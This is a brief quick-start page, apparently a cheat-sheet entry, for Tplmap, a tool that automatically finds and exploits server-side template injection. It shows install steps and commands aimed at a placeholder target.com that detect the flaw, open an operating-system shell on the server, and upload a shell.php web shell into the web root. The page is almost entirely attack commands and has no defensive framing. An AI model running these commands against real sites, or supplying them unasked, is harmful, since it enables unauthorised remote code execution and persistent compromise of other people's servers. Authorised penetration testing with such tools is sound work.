Tplmap

Automatic SSTI detection and exploitation — 18+ template engines.

Quick Start

git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt

# Detect SSTI
python2 tplmap.py -u "http://target.com/page?name=*"

# Shell via SSTI
python2 tplmap.py -u "http://target.com/page?name=*" --os-shell

# Upload file via SSTI
python2 tplmap.py -u "http://target.com/page?name=*" --upload /local/shell.php /var/www/html/shell.php